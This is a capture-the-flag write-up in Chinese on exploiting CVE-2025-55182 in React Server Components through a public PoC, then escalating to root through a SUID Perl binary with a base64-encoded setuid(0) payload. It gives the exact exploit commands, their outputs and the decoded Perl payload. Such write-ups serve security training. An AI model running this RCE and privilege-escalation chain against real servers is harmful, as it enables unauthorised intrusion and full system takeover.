[First-Blood-XO] React Server Component 端点存在 CVE-2025-55182 漏洞(远程代码执行)→ 枚举 SUID 二进制文件 → /usr/bin/perl 设置了 SUID → 使用 Perl 的 POSIX setuid(0) 提权至 root → 读取 /root/flag.txt
分类: Web 漏洞利用 | 难度: 中等 | 漏洞类型: 远程代码执行 → SUID 权限提升
React Server Components 端点存在 CVE-2025-55182 漏洞(RCE)→ 枚举 SUID 二进制 → /usr/bin/perl 设置了 SUID 位 → 使用 Perl 的 POSIX setuid(0) 提升至 root → 读取 /root/flag.txt。
Flag: MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}
目标: http://challenge.cybermesh.site:30035/
目标是一个基于 React 的 Web 应用,使用了 React Server Components (RSC) —— 一种相对较新的架构,组件在服务端执行,并通过自定义序列化格式将输出流式传输到客户端。
这种架构引入了一个服务端执行边界。CVE-2025-55182 正是利用了这个边界上不当的输入处理。
React Server Components RCE——服务器在用户控制的输入到达服务端组件执行层之前,未能对其进行清理。这使得攻击者能够注入操作系统级外壳命令,这些命令在 Node.js 进程上下文中执行。
攻击流程:
该 CVE 有公开的 PoC:
git clone https://github.com/surajhacx/react2shellpoc.git
cd react2shellpoc
初始验证——确认 RCE 和执行上下文:
python exploit.py -t http://challenge.cybermesh.site:30035/ -c "whoami"
输出:
[+] EXPLOITATION SUCCESSFUL
► app
服务器以用户 app 身份运行。不是 root——需要提权。
扫描 SUID 二进制文件:
python exploit.py -t http://challenge.cybermesh.site:30035/ \
-c "find /bin /usr/bin /sbin /usr/sbin -perm -4000 2>/dev/null || true"
输出:
[+] EXPLOITATION SUCCESSFUL
► /usr/bin/gpasswd
► /usr/bin/perl <--- !!!
► /usr/bin/chsh
► /usr/bin/su
► /usr/bin/chfn
► /usr/bin/umount
► /usr/bin/mount
► /usr/bin/passwd
► /usr/bin/newgrp
/usr/bin/perl 设置了 SUID 位。这是一个众所周知的 GTFOBin —— 当 Perl 属于 root 并设置了 SUID 时,无论谁调用它,它都会以 root 权限执行。
构造一个 base64 编码的 Perl 载荷,其作用包括:
POSIX::setuid(0) 提升至 root/root/flag.txt通过 RCE 端点发送:
python exploit.py \
-t http://challenge.cybermesh.site:30035/ \
-c "echo dXNlIFBPU0lYOyRFTlZ7UEFUSH09Jy9iaW46L3Vzci9iaW4nO3NldHVpZCgwKTtvcGVuKG15JHZkQzlmbGFnLCc8JywgJy9yb290L2ZsYWcudHh0Jyk7cHJpbnQgd2hpbGUoPCR2ZEM+KTs= | base64 -d > /tmp/p.pl && /usr/bin/perl /tmp/p.pl"
解码后的载荷大致为:
use POSIX;
$ENV{PATH}='/bin:/usr/bin';
setuid(0);
open(my $vdC9flag,'<', '/root/flag.txt');
print while(<$vdC9flag>);
输出:
[+] EXPLOITATION SUCCESSFUL
► MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}
MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}
1. RSC 的攻击面被低估了。 React Server Components 是一种新范式。许多部署在服务端组件边界上并未对输入注入进行加固。这个 CVE 提醒我们,“服务端渲染”本身并不安全——执行边界仍然需要适当的清理。
2. 脚本运行时上的 SUID = 瞬间获得 root。
/usr/bin/perl 设置 SUID 是一个典型的配置错误。GTFOBins 中有详细说明。永远不要对脚本语言(Perl、Python、Ruby 等)设置 SUID 位——与专为 SUID 设计的编译二进制文件(su、passwd)不同,这些运行时提供了简单的提权路径。
3. Flag 本身具有自嘲意味。
SU1D_AR3_FUN_BUT_N0T_EVERYTIM3——这个挑战明确地设计为通过 SUID Perl 作为预期提权路径。干净的攻击链。
CVE-2025-55182 (RSC RCE)
└─> whoami → 用户 "app"
└─> 查找 SUID 二进制文件
└─> 发现 /usr/bin/perl (SUID root)
└─> base64 Perl 载荷 → 写入 /tmp/p.pl
└─> SUID perl /tmp/p.pl → setuid(0) → cat /root/flag.txt
└─> FLAG ✓
作者:Abdullah Maqbool — 渗透测试工程师 @ TISS | CRTA · CRTOM · CompTIA PenTest+